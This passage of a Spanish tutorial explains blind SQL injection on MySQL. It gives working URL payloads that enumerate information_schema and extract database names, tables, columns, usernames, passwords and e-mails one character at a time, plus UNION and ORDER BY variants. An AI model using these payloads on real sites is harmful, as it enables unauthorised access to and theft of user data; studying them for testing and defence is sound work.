Como la tabla user existe, count retornará un valor. En MySQL, al igual que en muchos lenguajes, un valor distinto de 0 significa true, por lo que si count retorna un valor mayor a cero, la consulta (select count(*) from user) será true. Claro está que si la tabla está vacía, count retornará cero, obteniendo una consulta false... pero igualmente si la tabla está vacía no nos interesa, así que da igual si existe o no =)

Una vez que tenemos el nombre de la/s tabla/s que nos interesa/n, necesitamos obtener los campos para poder continuar. Aplicando la misma lógica anterior, podemos hacer uso de count para saber si un campo existe. Nuevamente intentando averiguar el nombre de los campos a partir de nombres triviales, podríamos imaginar que existe un campo llamado id.
La consulta que utilizabamos tendrá que ser modificada un poco. Ahora para saber si existe un campo, contaremos la cantidad de registros en el campo <nombre a probar> de la tabla user. Para averiguar si el campo id existe, consultamos lo siguiente:
?id=1 and (select count(id) from user)
que se traduce a: SELECT * FROM content WHERE id=1 and (select count(id) from user).
Como el campo id existe, la consulta es satisfactoria y obtenemos nuevamente el contenido cuyo id es 1. Si probamos con nombres de campos que no existen, sucedería lo que comenté antes, count da error y la página retorna la sección News.

Como se imaginarán, no siempre tendremos tanta suerte de encontrar nombres triviales, así que usen su imaginación, y traten de pensar como el programador del site. Muchas veces las tablas pueden comenzar con el nombre de la página. Si la página se llama foro.com, tal vez la tabla de usuarios se llame foro_user, en lugar de solo user. Las tablas de usuarios suelen tener siempre los mismos campos, es decir, id, email, username, password, real name, etc.
Igualmente si no se les ocurre como se puede llamar la tabla que desean, o los campos de la tabla, no se desesperen, existe un camino alternativo que explicaré a continuación.


Obtener palabras de a letras

Antes de continuar la explicación, necesitamos aprender a obtener palabras de a una letra por vez. Como ya saben, solo contamos con consultas true/false por lo que para obtener palabras completas debemos hacer consultas del estilo "la letra en la posición i es ésta?", si es true, sabemos que esa es la letra indicada, si es false, debemos seguir buscando. Para no hacer consultas de más, primero consultamos la longitud de las palabras con la función length(), con preguntas del estilo "la longitud es mayor a i?, es menor? es igual?. Por ejemplo, si deseamos saber cuántos caracteres tiene el nombre de usuario con id=1, las consultas serán del estilo:
SELECT length(name) FROM user WHERE id=1
que utilizando blind se traduce a:
?id=1 and (select length(name) from user where id=1)<8 //dará false, porque el name demasiadovivo tiene 13 caracteres
?id=1 and (select length(name) from user where id=1)=8 //idem anterior
?id=1 and (select length(name) from user where id=1)>10 //true
?id=1 and (select length(name) from user where id=1)>14 //false
?id=1 and (select length(name) from user where id=1)=13 //eureka!
Teniendo la longitud de la palabra buscada (13), procedemos a averiguar cuáles son los caracteres que la componen. Para ello nos apoyamos en la función substring(), con la cual obtenemos substrings de sólo 1 caracter y averiguamos cuál es. Además podemos utilizar la función upper() para restringir el rango de búsqueda a sólo mayúsculas (de otra forma tendríamos que preguntar por mayúsculas y minúsculas). Otra mejora que disminuye el número de consultas es hacer una búsqueda binaria, es decir, preguntamos si el caracter pertenece a la primer mitad del abecedario (A-M) o la segunda mitad (N-Z). De la mitad seleccionada hacemos lo mismo, y así repetimos hasta encontrar el caracter. En este caso las consultas a armar son del estilo:
SELECT upper(substring(name, 1, 1)) FROM user WHERE id=1
que en términos blind y búsqueda binaria se traduce a:
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'M' //partimos preguntando si es mayor a M
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'G' //como es menor, preguntamos entonces si es mayor a G (la mitad entre A-M)
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'C' //idem anterior, ahora utilizando C
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)='C'
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'D' //si es mayor a C, pero no mayor a D, y no es igual a C, entonces es D. Ahora veamos si es D o d.
?id=1 and (select substring(name, 1, 1) from user where id=1)='D' //no es D, así que es d.
Una vez que terminamos con la primer letra, seguimos con la segunda. En la consulta anterior cambiaremos el rango de la función substring a substring(name, 2, 1), es decir, le indicamos que arranque desde la posición 2. Lo mismo para los otros 11 caracteres. Claro que la búsqueda variará un poco si el nombre incluye números u otros caracteres. Para estos casos, y para los casos donde no podemos utilizar comillas, es más útil utilizar la función ascii(). Como expliqué anteriormente, ascii() devuelve el valor ascii (número) del caracter. Las consultas anteriores pasarían a ser de la siguiente forma:
?id=1 and ascii((select upper(substring(name, 1, 1)) from user where id=1))>77 // 77 es el ascii de la letra M
Ya tenemos la forma de averiguar los caracteres que componen a una dada palabra. Parece bastante complejo, pero uno se acostumbra y es fácil de automatizar con scripts.


Obtengamos los nombres de las tablas de a letras

Existen consultas que nos permiten ir a lo seguro. En lugar de intentar adivinar el nombre de las tablas, podemos ejecutar consultas para que nos retornen el nombre de las tablas y de los campos a partir de diferentes funciones. Este método lleva bastante tiempo, pero se puede automatizar fácilmente con scripts.

Para obtener el nombre de las tablas utilizaremos la base de datos central de MySQL, que contiene información sobre todas las otras bases de datos administradas por el servidor. Esta base de datos se llama information_schema. La tabla que nos interesa de esta base de datos se llama tables. Esta incluye todas las tablas que existen en la base de datos.
Dependiendo el usuario que estemos utilizando para realizar la consulta, MySQL nos retornará solamente los nombres de tablas que el usuario tiene permitido ver, generalmente las de sus bases de datos.
La consulta que necesitamos hacer entonces es la siguiente:
SELECT table_name FROM information_schema.tables
El problema es que esta consulta retorna muchos nombres dependiendo los accesos del usuario. Si el usuario es root, nos retornará absolutamente todas las tablas que existen en el server. Para poder filtrar los resultados y obtener los nombres de la base de datos que deseamos, primero tenemos que averiguar el nombre de la base de datos. Esto lo haremos con la función database().
Como vimos en la sección anterior, podemos averiguar la longitud del nombre y luego consultar letra por letra hasta obtener la palabra completa. Las consultas tendrán el siguiente formato:
?id=1 and (select length((select database())))=4 //averiguamos la longitud
?id=1 and ascii(upper(substring((select database()), 1, 1)))>77 //la primer letra es mayor a M?
?id=1 and ascii(upper(substring((select database()), 1, 1)))>83 //mayor a S?
?id=1 and ascii(upper(substring((select database()), 1, 1)))>86 //mayor a V?
?id=1 and ascii(upper(substring((select database()), 1, 1)))>84 //mayor a T?
?id=1 and ascii(upper(substring((select database()), 1, 1)))=84 //eureka! (recuerden que el nombre de la base de datos es test)
?id=1 and ascii(substring((select database()), 1, 1))=84 //no es T, así que debe ser t
Al igual que antes, el resto de los caracteres los obtenemos de la misma forma, pero utilizando substring((select database()), 2, 1), substring((select database(), 3, 1), etc.

Ahora que contamos con el nombre de la base de datos, podemos armar las consultas para averiguar las tablas de dicha base de datos. La consulta para obtener las tablas ahora se puede modificar de la siguiente forma:
SELECT table_name FROM information_schema.tables WHERE table_schema='test'
con la cual obtenemos sólo las tablas de la base de datos 'test'. La consulta se va a poner un poco compleja en este punto, pero si siguen los pasos la van a entender bien.
Como el resultado que obtendremos contiene varias tablas, si queremos averiguar los nombres de cada una, debemos limitar la consulta para que retorne las tablas de a una. Esto en MySQL se puede hacer con la cláusula LIMIT <ini,offset>, la cual limita el número de filas retornadas. Por ejemplo, "LIMIT 0,1" retorna la primer fila (inicia en 0 y retorna 1 fila), "LIMIT 1,1" retorna sólo la segunda fila (inicia en 1 y retorna una fila), etc.
La consulta anterior refinada con la cláusula LIMIT para obtener de a una fila sería entonces:
SELECT table_name FROM information_schema.tables WHERE table_schema='test' LIMIT 0,1
SELECT table_name FROM information_schema.tables WHERE table_schema='test' LIMIT 1,1
SELECT table_name FROM information_schema.tables WHERE table_schema='test' LIMIT 2,1
etc...
Obteniendo sólo el nombre de una tabla, podemos aplicar el método ya conocido para obtener las letras de a una por vez. Así entonces para consultar por la primer letra de la primer tabla, generaríamos lo siguiente:
?id=1 and ascii(upper(substring((select table_name from information_schema.tables where table_schema='test' limit 0,1), 1, 1)))>77 //consultamos por la letra M
para obtener la tercer letra de la segunda tabla:
?id=1 and ascii(upper(substring((select table_name from information_schema.tables where table_schema='test' limit 1,1), 3, 1)))>77
interesante no?

Ok, ya tenemos la forma de averiguar las tablas, ahora nos falta saber el nombre de las columnas de las tablas (parece un trabajo de nunca acabar!). La metodología es igual a la anterior, dado que los nombres de las columnas están contenidos en la tabla columns de la base de datos information_schema. La consulta a realizar en este caso es:
SELECT column_name FROM information_schema.columns WHERE table_schema='test' and table_name='content' //donde content es el nombre de la tabla (que obtuvimos en el paso anterior), y table_schema es el nombre de la base de datos.
Claro que esta consulta devuelve el nombre de todas las columnas, así que una vez más podemos usar la cláusula LIMIT
SELECT column_name FROM information_schema.columns WHERE table_schema='test' and table_name='content' LIMIT 0,1
Ufff, cómo decía Bender en la peli Futurama: Bender's Big Score: "I bet it's going to get even more confusing", porque juntando esta consulta con la necesaria para obtener las letras de la primer columna de la primer tabla se forma lo siguiente:
?id=1 and ascii(upper(substring((select column_name from information_schema.columns where table_schema='test' and table_name='content' limit 0,1), 1, 1)))>77
sweet!
Lo mismo para obtener todas las otras letras del nombre de la columna, y luego para obtener el nombre de las otras columnas, y así siguiendo.


Obtengamos esos valiosos registros

Apuesto a que en este punto están bastante mareados... yo ya estoy mareado explicándolo, así que no me imagino lo que debe ser leerlo. Respiren ondo, tomense su tiempo, relean lo anterior si es necesario (vallan al baño si tienen ganas) y continuemos.
Ahora que tenemos los nombres de las tablas que nos interesan (en mi caso la tabla user), y sabemos el nombre de las columnas que deseamos (user, pass), ya podemos obtener el contenido de los registros. Luego de lo que tuvimos que pasar para llegar hasta aca, lo que viene es relativamente fácil.
Primero obtengamos el nombre de usuario con la consulta:
SELECT user FROM user WHERE id=1
que en nuestro blind se traduce a:
?id=1 and (select(length((select user from user where id=1))))=13
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))>77 //mayor a M?
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))>71 //mayor a G?
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))>67 //mayor a C?
?id=1 and ascii(upper(substring((select user from user where id=1), 1, 1)))=68 //igual a D? yeah!
?id=1 and ascii(substring((select user from user where id=1), 1, 1))=68 //no es D así que es d
Sip, el procedimiento se repite una y otra vez. Como siempre, el resto de las letras sale con substring((select user from user where id=1), 2, 1), etc.
Lo mismo hacemos con el campo pass. Las consultas serán iguales pero cambiando el nombre del campo:
?id=1 and ascii(upper(substring((select pass from user where id=1), 1, 1)))>77
De esta misma forma se puede obtener cualquier registro de cualquier tabla a la que tengamos acceso. Una vez que tenemos la información inicial, todo esto sale bastante fácil... aunque de forma muuuuy laboriosa y repetitiva.

Si deseamos averiguar e-mails podemos mejorar la consulta infiriendo si es de hotmail, yahoo o gmail. Sabemos que hotmail.com tiene 11 caracteres, que yahoo.com tiene 9, yahoo.com.ar tiene 12 y gmail.com tiene 9, por lo que podemos averiguar si el @ (cuyo ascii es 64) está en la posición length - 11, o length - 9, o length - 12.
Por ejemplo, si en la tabla está el e-mail pepe@hotmail.com, el tamaño de esta dirección es 16, por lo que si el e-mail es de hotmail, el @ estará en la posición 5 (16 - 11), si es de yahoo.com o gmail.com estará en la posición 7 (16 - 9), y si es de yahoo.com.ar estará en la posición 4 (16 - 12). Las consultas que nos dan estos datos son:
?id=1 and (select(length((select email from user where id=1))))=16
?id=1 and ascii(substring((select email from user where id=1), 5, 1))=64
ya sabiendo dónde está el @, sabemos el tamaño del username, el cual en este caso es 4, y así restringimos la cantidad de caracteres a consultar. El nombre del servidor de e-mail lo sacamos con los primeros caracteres que siguen al @, como ser:
?id=1 and ascii(substring((select email from user where id=1), 6, 1))=72 //buscamos la H de HOTMAIL


Optimizaciones

Está claro que todo el trabajo anterior requiere de muchísimo tiempo. Conociendo la receta no es complejo, pero requiere tanto tiempo que resulta molesto. Por ello existen muchos programas que automatizan el funcionamiento. Algunas herramientas que pueden encontrar interesantes son:
- sqlmap
- SQLInjector

Además podemos inferir muchos datos a partir de algunas letras. Por ejemplo, si las 3 primeras letras de una columna son usu y el tamaño de la palbra es 8, es casi seguro que la palabra buscada es usuario y no necesitamos averiguar todos los caracteres.

Por supuesto que ustedes pueden automatizar el proceso creando sus propios scripts adaptados para la aplicación que desean explotar. Los lenguajes de script son sus amigos, pueden usar perl, python, ruby, php o incluso bash.


UNION te puede salvar la vida

Si bien el objetivo de este artículo era explicar blind sql injection, no quiere decir que los datos anteriores no se pudieran obtener de otras formas que requieran menos trabajo, como utilizando la cláusula UNION. Por ejemplo, para obtener el nombre de la base de datos podríamos haber realizado la siguiente consulta:
?id=-1 union all select 1,database(),1
con lo que nos ahorramos de buscar el nombre letra por letra.
Como expliqué hace un tiempo en el artículo Reflected XSS a través de SQL Injection, UNION nos permite unir los resultados de una consulta con los resultados de otra consulta, siempre y cuando ambas consultas tengan como resultado la misma cantidad de columnas. Si utilizamos sólo UNION, las columnas a unir deben ser del mismo tipo, pero si en cambio aprovechamos UNION ALL, podemos utilizar distintos tipos.
La cantidad de columnas de la consulta la podemos obtener de dos formas: probar consultas arbitrarias con UNION hasta que nos da un resultado válido, o utilizar la función ORDER BY. ORDER BY nos permite organizar los resultados por columna, así que si le especificamos un valor de columna mayor al posible, obtendremos un error. Por ello, podemos ir reduciendo el valor de ORDER BY hasta que tengamos una consulta válida, o bien incrementar desde 1 hasta que tengamos una inválida. En el ejemplo anterior, las consultas de prueba podrían ser:
?id=1 order by 2
?id=1 order by 3
?id=1 order by 4 //da false por lo que sabemos que la cantidad es 3
Obtener los datos con consultas UNION es muchísimo más rápido, aunque igualmente a veces necesitamos del blind para obtener ciertos datos como los nombres de las tablas y columnas. Por ello podemos usar un mix y tener lo mejor de ambas técnicas.


Final

Como habrán podido observar a lo largo del artículo, para realizar blind sql injection no necesitamos ser Jedis, aunque si necesitamos paciencia de Jedi. Obtener los datos es algo laborioso, pero es posible. También se darán cuenta que esconder los errores arrojados por la base de datos a los usuarios NO elimina la posibilidad de injección. Si, es un poco más costoso, pero igualmente factible.

La explicación se basó en bases de datos MySQL, pero con un simple cambio en las funciones y las tablas utilizadas, podría escribir un artículo idéntico para MS SQL. Cuando encuentre el tiempo necesario, escribiré algún artículo mostrando las funciones necesarias en MS SQL para realizar el mismo ataque.


Referencias

- Blind MySQL Injection - Técnicas de inyección a ciegas en MySQL (ka0x)
- Blind SQL Injection - Are your web applications vulnerable? (Kevin Spett)
- SQL Injection Cheat Sheet